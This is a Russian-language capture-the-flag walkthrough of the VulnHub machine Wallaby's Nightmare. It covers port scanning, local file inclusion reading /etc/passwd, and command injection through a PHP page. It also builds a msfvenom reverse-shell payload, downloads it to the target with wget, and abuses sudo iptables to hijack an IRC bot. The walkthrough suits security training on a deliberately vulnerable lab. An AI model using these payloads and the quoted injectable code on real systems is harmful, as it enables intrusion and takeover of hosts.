VulnHub: Выкидываем неугодных из IRC в Wallaby's Nightmare
Запускаем VirtualBox, или что вам больше нравится, и после загрузки образа, приступаем к изучению этого подопытного:
$ sudo arp-scan -l -I wlan0
192.168.1.4 08:00:27: d9:00: aa CADMUS COMPUTER SYSTEMS
Куда мы без nmap'a, детектим открытые порты:
$ sudo nmap 192.168.1.4 -sV
Nmap scan report for 192.168.1.4
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
6667/tcp filtered irc
MAC Address: 08:00:27: D9:00: AA (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o: linux: linux_kernel
Начнём с web сервера, заодно посмотрим, что на нём крутится:
Какая-то форма, ввода имени пользователя, запомним её, и попробуем что-нибудь ввести:
Нам дают некоторые советы и предлагают начать, ну или продолжить:
Это уже интересней, однако обновив страницу, получаем ошибку соединения. Просканировав ещё раз весь диапазон, находим, что порт на котором висит apache изменился:
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
6667/tcp filtered irc
60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Пробуем зайти и видим следующее:
Не найдя тут продолжения сюжета, запускаем nikto:
Nikto утверждает что нашёл LFI, переходим по ссылке и получаем содержимое файла passwd:
root: x:0:0: root:/root:/bin/bash
daemon: x:1:1: daemon:/usr/sbin:/usr/sbin/nologin
bin: x:2:2: bin:/bin:/usr/sbin/nologin
sys: x:3:3: sys:/dev:/usr/sbin/nologin
sync: x:4:65534: sync:/bin:/bin/sync
games: x:5:60: games:/usr/games:/usr/sbin/nologin
man: x:6:12: man:/var/cache/man:/usr/sbin/nologin
lp: x:7:7: lp:/var/spool/lpd:/usr/sbin/nologin
mail: x:8:8: mail:/var/mail:/usr/sbin/nologin
news: x:9:9: news:/var/spool/news:/usr/sbin/nologin
uucp: x:10:10: uucp:/var/spool/uucp:/usr/sbin/nologin
www-data: x:33:33: www-data:/var/www:/usr/sbin/nologin
backup: x:34:34: backup:/var/backups:/usr/sbin/nologin
list: x:38:38: Mailing List Manager:/var/list:/usr/sbin/nologin
irc: x:39:39: ircd:/var/run/ircd:/usr/sbin/nologin
gnats: x:41:41: Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534: nobody:/nonexistent:/usr/sbin/nologin
syslog: x:104:108::/home/syslog:/bin/false
_apt: x:105:65534::/nonexistent:/bin/false
uuidd: x:107:111::/run/uuidd:/bin/false
walfin: x:1000:1000: walfin,,,:/home/walfin:/bin/bash
sshd: x:108:65534::/var/run/sshd:/usr/sbin/nologin
mysql: x:109:117: MySQL Server,,,:/nonexistent:/bin/false
steven?: x:1001:1001::/home/steven?:/bin/bash
ircd: x:1003:1003:,,,:/home/ircd:/bin/bash
Но не всё так просто… Заглядываем в код страницы и находим сообщение:
И как подтверждение:
Попробуем перебрать доступные параметры:
$ sudo dirb http://192.168.1.4:60080/index.php?page= /usr/share/dirb/wordlists/big.txt -w
Начав проверять их по очереди, и дойдя до mailer, обнаруживаем в коде страницы вот такой комментарий:
Хм, а что если попробовать выполнить команду?
Это сработало, и это не очередной розыгрыш! Посмотрим что сокрыто в этих скриптах:
That's some fishy stuff you're trying there {$username}buddy. You must think Wallaby codes like a monkey! I better get to securing this SQLi though...
(Wallaby caught you trying an LFI, you gotta be sneakier! Difficulty level has increased.)";
system('rm /var/www/html/levelone.txt');
}
elseif (strpos($page, '/') !== false) {
echo "Nice try {$username}buddy, this vector is patched!
";
}
elseif (strpos($page, '\'') !== false) {
echo "
";
}
else {
# Or else, we will show them a 404 web page instead
#include 'pages/errors/404.php';
echo "Dude, {$username} what are you trying over here?!
";
}
?>
How you gonna use netcat so obviously. Cmon man. This is all in the logs.';
}
else {
system("{$cmd}");
}
echo "Coming Soon guys!
";
?>
Теперь самое время воспользоваться msfvenom, и настроить себе полноценный шелл:
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle
А также конфиг для msfconsole:
$ cat meterpreter.rc
use exploit/multi/handler
set payload linux/x64/mettle/reverse_tcp
set lhost 192.168.1.124
set lport 4444
run
Загружаем это всё на наш атакуемый хост, через скрипт mailer, используя следующую команду:
wget http://192.168.1.124/x64mettle.bin -O /tmp/x64mettle.bin
Запускаем handler в Metasploit, запускаем наш бинарник, и спустя несколько секунд, у нас есть полноценный шелл. Первым делом проверяем, доступно ли текущему пользователю выполнять команды через sudo:
sudo -l
User www-data may run the following commands on ubuntu:
(waldo) NOPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf
(ALL) NOPASSWD: /sbin/iptables
Не много, но для www-data — этого даже слишком. Заглянем в iptables:
sudo /sbin/iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- localhost anywhere tcp dpt:ircd
DROP tcp -- anywhere anywhere tcp dpt:ircd
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Как вы помните, nmap нашёл 6667 порт, и пометил его как фильтруемый. Пришло время изменить это, сбросив всё на стандартные настройки:
sudo /sbin/iptables -F
Проверяем результат:
$ sudo nmap 192.168.1.4 -p 6667
Nmap scan report for 192.168.1.4
Host is up (0.00025s latency).
PORT STATE SERVICE
6667/tcp open irc
MAC Address: 08:00:27:D9:00:AA (Oracle VirtualBox virtual NIC)
Подключаемся:
Команда /LIST показала наличие 1 канала:
Зайдя на который, можно видим там ещё 2х пользователей:
Nicks #wallabyschat: [@waldo GH0st3rs wallabysbot]
Пользователь waldo со мной общаться не захотел, а вот wallabysbot был более приветлив:
Ок, мы же имеем доступ к iptables, что нам стоит дропнуть waldo из чата?
sudo /sbin/iptables -I OUTPUT -m owner --uid-owner 1000 -p tcp --dport 6667 -j DROP
Дожидаемся пока закончится его сессия в IRC, меняем свой ник на waldo, и получаем ещё 1 шелл:
Проверим, что доступно этому пользователю, а доступно ему как выяснилось многое:
Забираем флаг, наслаждаемся поздравлениями, и, + ещё 1 пройденный Boot2Root CTF: